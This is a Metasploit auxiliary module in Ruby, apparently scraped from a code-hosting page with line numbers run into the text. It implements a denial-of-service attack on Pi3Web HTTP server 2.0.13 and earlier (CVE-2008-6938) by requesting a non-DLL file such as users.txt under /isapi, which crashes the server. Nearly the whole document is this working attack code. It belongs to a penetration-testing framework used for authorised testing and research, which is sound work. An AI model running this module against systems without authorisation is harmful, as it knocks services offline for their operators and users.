Path: blob/master/modules/auxiliary/dos/windows/http/pi3web_isapi.rb
21549 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Pi3Web ISAPI DoS',14'Description' => %q{15The Pi3Web HTTP server crashes when a request is made for an invalid DLL16file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs17in this directory after installation are users.txt, install.daf and18readme.daf.19},20'Author' => 'kris katterjohn',21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2008-6938'],24[ 'OSVDB', '49998'],25[ 'EDB', '7109' ]26],27'DisclosureDate' => '2008-11-13',28'Notes' => {29'Stability' => [CRASH_SERVICE_DOWN],30'SideEffects' => [],31'Reliability' => []32}33)34)3536register_options([37OptString.new('FILENAME', [ true, 'File in /isapi to request', 'users.txt' ])38])39end4041def run42o = { 'uri' => "/isapi/#{datastore['FILENAME']}" }4344c = connect(o)45c.send_request(c.request_raw(o))4647print_status("Request sent to #{rhost}:#{rport}")48rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout49print_status("Couldn't connect to #{rhost}:#{rport}")50rescue ::Timeout::Error, ::Errno::EPIPE => e51vprint_error(e.message)52end53end545556